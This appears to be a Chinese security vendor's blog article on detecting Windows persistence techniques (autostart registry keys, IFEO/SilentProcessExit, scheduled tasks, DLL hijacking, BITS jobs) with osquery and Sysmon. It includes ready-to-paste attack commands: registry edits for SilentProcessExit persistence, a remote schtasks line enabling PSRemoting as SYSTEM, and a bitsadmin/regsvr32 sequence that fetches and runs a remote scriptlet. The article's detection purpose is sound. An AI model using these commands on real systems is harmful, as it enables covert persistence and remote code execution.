随着ATT&CK被业界广泛认可，识别入侵行为技战术TTPs而不是特征码，已经成为新安全产品的标配：行为是新控制，是应对高级威胁的关键安全控制，是xDR产品的关键能力。之前本公众号文章介绍过检测网络行为的部分方法，而在主机和端点上，识别持久化手段的效果明显且较容易入手，是甲方同学应优先考虑获取的能力。
1
持久化 Persistence
持久化(Persistence)，是指入侵者为了保证在被入侵系统中持久存在，对系统所做的有关访问、动作、或配置的任何更改。攻击对手通常需要克服用户正常操作所造成的控制权中断，如系统重启、凭证丢失、升级、或其它原因，导致需要重启远控工具或备用后门，以重新获得访问权限，来维护对被入侵系统的长期控制能力。
对于红队来说，ATT&CK也拥有十分重要的指导意义，是完善健全渗透体系的不二法宝，能提升整体能力水平。例如，Cobalt Strike在架构设计时便忽视了持久化Persistence的重要性，导致此类模块的遗漏缺失，使用者每次都不得不手动输入弥补，亟需解决之道，这才有了著名的第三方Persistence Aggressor Script。而Metasploit内置了一些使用简便的初级模块，在此处优势明显。攻击方的必备手段，自然是防御者的优选发力方向。
攻击者如何在重启和简单的补救措施后幸存下来，往往需要脑洞大开，充分借助特定环境所提供的独有辅助能力，将持久化手段嵌入到易被忽略的日常任务中，因此这是个八仙过海各显神通的过程。例如，有兴趣的读者可以尝试扩展思考，容器和微服务的持久化的挑战是什么？应该如何克服？如何才能躲避检测？而限于篇幅和目标，本文只做Windows终端上常见手法以及检测的入门介绍。
2
寻找称心的工具
工欲善其事必先利其器。识别持久化手段，必然需要端点数据采集和分析能力，缺一不可。大规模部署环境中，即使看起来简单的工作，复杂度也直线上升。
一般来说，商业产品的整合度较高，服务完备，有预算自然直接采购更好。开源项目的实施落地，对安全团队是个巨大挑战，一两个人基本上是看不到实现检测高级威胁目标的可能的。提到开源EDR，业内首先想到的必然是OSSEC和osquery，好处是跨平台，数据格式统一。在当今企业不得不重视macOS的大环境下，不同平台安装不同来源agent，采集不同格式的日志，在分析阶段也会是不大不小的麻烦。但令人发愁的是osquery对Windows非最新版本支持有限，而Facebook团队明确表示roadmap里没有。我们还有另一个选择，历史悠久的Sysmon以其媲美Windows原生代码质量的地位而广受青睐。
稳定与性能也是重要考虑因素。终端使用环境十分复杂恶劣，意外时常发生。无论是开源或商业agent万一与某特定应用程序产生冲突，尤其是用户内部自研非标程序，有可能导致应用崩溃或行为异常或CPU负载过高。如果不能及时解决此类问题，场面上会很难看，安全团队压力山大。例如，osquery的性能负担就经常被忽略：开始试运行时数据少还不觉得，随着运营深入，对更多不同数据的胃口大开，造成存储和计算直线上升。上万点的部署规模对通讯和响应也有及时稳定的要求。
此外，部分行为检测需要分析“常见”范畴之外的日志数据，商业软件往往拥有优势，而开源代码把持在小团队里，甲方想自己加些功能代码，可以预期有很大几率被下个官方更新版本折磨到欲仙欲死。例如，人家Facebook团队就打算只支持Windows 10，如果你提32位系统支持请求连回应都懒得给你，想用第三方插件又担心代码质量难以控制；OSSEC官方支持列表里Windows 10迄今还没有出现。结果是长叹一声心有余而力不足。此外，想调查哪些终端访问了恶意URL？osquery并没有对应table可供查询。想监控剪贴板是不是被恶意软件篡改虚拟货币地址？开源项目都没有支持。想让osquery集成AD域？不妨先试试目前最受推崇的管理平台，开源Doorman和商业Fleet，立刻就能意识到目标遥不可及。开箱即用往往不切实际，安全团队动手前要做好心理准备。
下面让我们一起来看看常见的Windows持久化手法的检测思路。
3
常见注册表修改
众所周知，注册表修改是过去二十年来最常见的持久化技术。Run和RunOnce注册表项值允许在系统启动和用户登录时执行恶意文件。
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
别不当回事，虽然技巧很简单，仍有大量报道阐述众多APT成功采用过，此处不一一列举。采集此类数据很容易，近乎信手拈来。osquery有个table叫Registry，可用于特定时点对整个注册表做快照，然后查询Run/RunOnce进行分析。而Sysmon擅长的工作，从来都是记录动作，所以关注的是修改注册表的事件：类型12为创建和删除，13为赋值，14为改名。自有agent也可通过API时时监控。方式略有不同，效果类似。有时也会遇到一些混淆措施，例如放在特定目录里的rundll32或者system32系统目录里的可执行文件，如果无法智能识别，筛选出来请安全工程师看看也挺容易。
让我们来看一个高级应用例子。Poweliks出现于2014年中，是第一个几乎完全无文件并能持久化的恶意软件：在内存中运行并仅驻留在Windows注册表中，无需将任何文件写入磁盘。
它使用非ASCII字符作为注册表项目名称，试图隐藏键值，而大多数工具都受到影响无法正确读取显示，包括Regedit，看起来很成功。
注册表中存放了编码过的JavaScript代码，恶意软件使用PowerShell执行，从而在内存中投放恶意dll载荷。
随后注入到dllhost.exe进程中。
后面的步骤笔者就不引述了，读者可以搜索有关Poweliks的文章扩展阅读。
如果只写到这一层，显然难以让读者满意。我们需要更深入探究ASEP (Auto-Start Extensibility Points)，自启动扩展点，这是现代操作系统必备的能力，也是高级攻击者体系化掌握持久化更多可能手段的着眼点。
上述注册表项是Logon分类的代表。其实在启动过程中Run/RunOnce运行之前，还有更多同类项可以利用之处，例如作为服务启动的：
HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
如果会写驱动，也可以修改：
HKLM\System\CurrentControlSet\Services
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers
随后在用户初始化阶段，会加载一系列的Winlogon Helper DLLs：
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
接下来一类是资源浏览器Explorer的扩展，例如右键菜单和拖拽等等：
HKCU\Software\Classes\*\ShellEx\ContextMenuHandlers
HKCU\Software\Classes\Drive\ShellEx\ContextMenuHandlers
HKCU\Software\Classes\Directory\Shellex\DragDropHandlers
HKLM\Software\Classes\Directory\Shellex\DragDropHandlers
Active Setup也可以被利用的：
HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components
HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components
为了提升系统性能而设计的KnownDLLs，可用于注入进程：
HKLM/System/CurrentControlSet/Control/Session Manager/KnownDlls
读者在网上还会搜索到一些老的技巧，不过随着版本升级，有部分功能早已被废止，再做重点检测已经意义不大：例如AppInit DLLs，虽然在ATT&CK模型里被提及，也有分析报告称APT曾喜欢利用，但从Windows 8开始逐渐退出舞台：
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
更多内容请读者自行扩展研究。
4
IFEO注入
感兴趣的读者不妨随手跟笔者做个实验。在一台保持更新的64位Windows 10终端上（是的，用最新最安全的操作系统版本来做测试验证才有挑战性），使用管理员身份打开PowerShell，直接拷贝粘贴下列三行修改注册表的指令：
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "calc.exe"
看到calc.exe就知道依惯例还是用计算器运行作为标志。接下来，请读者运行notepad.exe，关闭退出，你就会发现计算器弹了出来。然后，每次打开notepad关闭后，calc都会运行。很显然地，攻击者可以利用此操作模式，将恶意可执行文件与某个特定的常用的应用程序关联，不定期自动运行载荷，达成持久化目标。上面的命令简单易懂，很容易用脚本集成进现有红队平台。
此技巧与之前所知的IFEO劫持完全不同，并不使用debugger，而是利用GlobalFlag中的设置，首先是开启报告机制，再依靠Silent Process Exit Monitoring功能实施监视，当发现进程退出时便拉起预设监控应用。十分隐蔽的手法，除非监控注册表这几项，否则难以发现。此手段去年被公开，到目前为止尚未见到公开报道被APT组织使用，但流行也只是时间问题，EDR产品现在就应该做好准备，以应对这一持久化手段。
5
计划任务执行
schtasks允许管理员创建和运行本地或远程系统上的计划任务。经常被对手用于在系统启动时或未来定期执行程序，以获得持久性，或作为横向移动步骤远程运行应用，或用以获得SYSTEM特权，或在指定帐户的特定状态下触发。有广泛报道此技巧亦被众多APT所采用。在远程系统上，新建计划任务需要是远程系统上管理员组的成员权限，前提是通过RPC身份验证，并打开文件和打印机共享。
如果读者使用osquery，scheduled_tasks表能满足采集数据的部分需求。此外，表autoexec内包含了部分自启动的注册表项、服务、计划任务和其他的集合，可识别大部分常见的系统ASEP。不过，正如上文所述，Windows中存在众多osquery无法枚举的ASEP持久化手段，如codec、shell扩展等。虽然不全面，但autoexec表已经是个很好的起点。
计划任务又是个看起来很简单但十分重要的手段，因为它拥有少见的内置的可以远程执行的能力。例如，用schtasks从本机开启远程机器的PowerShell远程管理PsRemoting；用IPC$传输载荷到远程机器再创建计划任务使之运行等。PSRemoting是横向移动利器，具体用法可参考PowerShell Empire，下面为利用指令示例：
schtasks /create /s servername /rl highest /ru SYSTEM /sc once /st 18:00 /TN EnableRemoting /TR "powershell -noprofile -command Enable-PsRemoting -F" /F /Z /V1
一般来说，入侵者使用schtasks运行恶意文件或脚本后会立即删除相应的计划任务，这有很大概率令只关注scheduled_tasks和autoexec两张表的安全团队错失发现类似恶意行为的机会。此时，在Server 2008和Win7之后的版本上，需要打开Windows高级安全审计策略，事件类别4698：创建计划任务，才能获取对应日志。在重点关注的设备上，强烈建议打开此配置，用以持续监控。
我们常常见到，缺少足够安全人力资源的企业，虽然部署了开源agent，却难以获得满意的检测效果，这是因为投入过多资源从头开始造轮子，却忽视了真正有价值的发展安全模型和策略的任务的难度。部署开源项目相对简单，而对建立分析模型却往往受限于雇员能力水平，有心无力，最终只能下发屈指可数的简单策略，最重要的日常运营改进无以为继，可想而知效果只能差强人意。
检测方法当然不是唯一的。上面所说利用schtasks通过RPC协议远程创建计划任务达成横行移动目标的行为，如果在内网部署了我们的NDR产品，也是能够从网络流量中成功识别到的。
6
DLL搜索顺序劫持
DLL搜索顺序劫持是历史悠久的持久化、提权、躲避手段。Windows系统按特定顺序搜索可执行文件所需的dll，如果应用没有设置硬编码路径查找某个dll，那么入侵者可以按搜索顺序先后，放置恶意载荷至特定目录，以被提前加载，执行代码，达成持久化目标。此方法亦可绕过进程白名单防御。很多年来，虽然不停有各种解决方案问世，试图防御此攻击手段，但总是时不时爆出某些应用程序存在弱点，难以杜绝——毕竟SDL成本很高，难以覆盖完全。此技巧也经常被高级威胁组织用于针对某个特定应用程序，例如，定向攻击目标有自研内部软件便可尝试利用。受害于DLL劫持的应用程序，往往表现正常，因为恶意载荷会被设计配置为也加载要替换的合法DLL功能。除了被众多APT利用外，业界也时常见到大规模感染消费者终端的案例，例如网游盗号等。
DLL劫持并没有特别好的检测方法，尤其是定向攻击，极低感染率，恶意样本获取难，普查难。但至少EDR产品可以辅助解决部分问题，胜过传统AV产品，这也是EDR亮点之一。Sysmon可以监控Image Load，事件类别7，日志内容丰富，包括进程路径名称、DLL路径、散列值、签名等信息，足够胜任威胁猎捕需要。如下图所示：
但是，Sysmon缺省关闭记录Image Load，打开这一配置选项要慎重，因为此类事件实为海量，对安全运营压力极大，想发现异常无异于大海捞针，不具实际操作性。要想做到更好，需要考虑部署高级能力：
获取和遍历存储设备目录
获取指定文件属性（文件名、大小、时间、散列值等）
条件查询大规模数量终端中特定文件的分布情况，包括文件名、特征、散列值等
定期监控重点应用程序目录中文件变化
定期扫描出现同名DLL且散列值不同的异常
远程文件样本提取
显然，上述功能目前开源项目都无法提供。只能依赖商业产品或定制开发。
7
BITS任务
BITS是Windows内置的后台传输工具。即使在应用程序退出后，只要启动传输的用户保持登录状态并保持网络连接，BITS就会继续传输文件，重启后也会续传。BITS不会强制开启网络连接。在重新建立丢失的网络连接或注销的用户重新登录后，BITS便会恢复传输。
入侵对手可能会滥用BITS后台下载恶意代码、并执行、然后清理。Cobalt Strike便拥有BITS利用模块。对于红队成员来说，BITS拥有一项独一无二的优势，其任务独立保存在BITS数据库内，操作过程不会产生新文件或注册表修改，因此能不被传统工具监控所覆盖。由于是内建应用，BITS通常不会被主机防火墙拦截。此外，还可以通过创建长期任务，在任务完成或系统重新启动后，调用恶意代码来实现持久化。
眼见为实，各位看官和笔者一起来验证。同样，还是在那台跑着最新64位Windows 10版本的电脑上，让我们打开PowerShell命令行，拷贝粘贴直接运行下列命令：
bitsadmin /transfer /download /priority HIGH https://raw.githubusercontent.com/ThreatHandler/SCTtest/master/c.sct $env:temp\c1.sct
bitsadmin /create bits_persistence
bitsadmin /addfile bits_persistence https://raw.githubusercontent.com/ThreatHandler/SCTtest/master/c.sct $env:temp\c1.sct
bitsadmin.exe /SetNotifyCmdLine bits_persistence regsvr32.exe "/u /s /i:$env:temp\c1.sct scrobj.dll"
bitsadmin /resume bits_persistence
随着最后一句指令的完成，读者立刻会看到计算器出现在屏幕上。请重启系统，登录后不要做任何操作，泰然处之喝杯水。几分钟后，到系统空闲时，突然可见calc.exe被运行，可见成功实现了持久化。再重启系统，相同的结果，几分钟后不出所料的运行了计算器。十分可靠又隐蔽的手段。
本例还使用了绕过应用白名单的高级技巧。Regsvr32.exe是微软官方签名的二进制文件。攻击对手利用大部分安全产品不监视Regsvr32进程的执行和其加载模块的特性，隐蔽执行恶意代码；因为监控则会产生海量事件和误报，很难有实际运营意义。此外，Regsvr32能加载COM脚本并在用户权限下执行DLL。此方法也不更改注册表，因为COM对象实际上并没有注册，只是被执行。此TTP通常被称为Squiblydoo攻击，并被广泛应用于针对政府的战役。请读者留意上述脚本中倒数第二句指令中.sct的应用。
读者也可以自行尝试更多技战术组合，当然，如果一处大意不够小心，就可能被Windows Defender识别并报警 😂😂
记录并分析终端全部进程和命令行日志是件吃力不讨好的事情，由于事件量过大且复杂，对后台系统和运营团队的要求很高，尤其是在端点规模超过数万点时。不知道各位看官是否熟悉Elastic Stack中官方对Beats的描述，那不过只是把文件型日志从数十、数百、乃至上千台的系统中传上来。下面是官网截图：
osquery在Windows平台不提供有关进程的evented table，而只有normal table：亦即当前时点的进程列表的快照，可比ps或tasklist命令；猎捕威胁时犹如管中窥豹，明显不足。在终端上大量使用evented table需谨慎，应仔细评估其性能和存储的负担是否会影响用户体验。但不使用evented table又会缚住安全团队的双手，遗漏可供调查取证的重要数据来源。
所以，用户需要自行打开Windows进程审计策略，事件类别4688：新进程创建。可以用组策略或本地命令。即使有了全量原始日志，想在浩瀚无垠的海量事件里发现上述利用技巧，简直是不可能完成的任务。更好的办法是，针对TTP设计专用检测模型，应用机器学习、边缘计算等新技术，在端点实现第一波检测，从而提高效率，降低误报。那种胡子眉毛一把抓，采集了天量数据，存储和索引查询都不堪重负，资源过度浪费，却在检测高级威胁行为上颗粒无收的状况，最好能够避免。
限于篇幅和时间，无法囊括更多有趣的持久化技术，以后有时间找机会再补一篇。笔者希望本文内容安排得有浅有深，能照顾大多数读者的水平和兴趣，也希望各位看官读得开心之余还能有些收获。此外，笔者一贯风格是重检测，提及的TTPs都是能够被我们产品识别到的，与此同时，红队技巧向来只是点到为止，所以文中很多技术点并未展开，请读者们自行深入研究，也欢迎交流。
预告
RSAC 2019近在眼前，先向各位新老朋友提前预告，按惯例，下一篇就是创新沙盒入围公司的分析文章，敬请期待。
